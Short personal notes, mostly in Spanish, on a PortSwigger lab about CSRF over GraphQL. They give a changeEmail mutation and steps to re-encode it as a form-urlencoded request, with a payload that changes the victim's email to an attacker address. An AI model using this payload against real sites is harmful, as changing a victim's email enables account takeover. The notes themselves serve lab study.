Skip to content

5 - Performing CSRF exploits over GraphQL

#portswigger #graphql #csrf

Query en JSON :

json
{"query":
    "mutation changeEmail($input: ChangeEmailInput!) {
        changeEmail(input: $input) {
            email
        }
    }",
	"operationName":"changeEmail",
    "variables": {"input":{"email":"dsfewf@fe.com"}}
}

Para pasarlo a x-www-form-urlencoded , clic derecho Change Request Method dos veces. Cambiamos el body del json , Cambiamos la llave del query por un parámetro query Cambiamos los espacios por + Cambiamos los saltos de línea /n por %0A Paréntesis url encodeados : encodeados en general todos los caracteres especiales menos números.

x-www-form-urlencoded

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

Notas personales de seguridad ofensiva.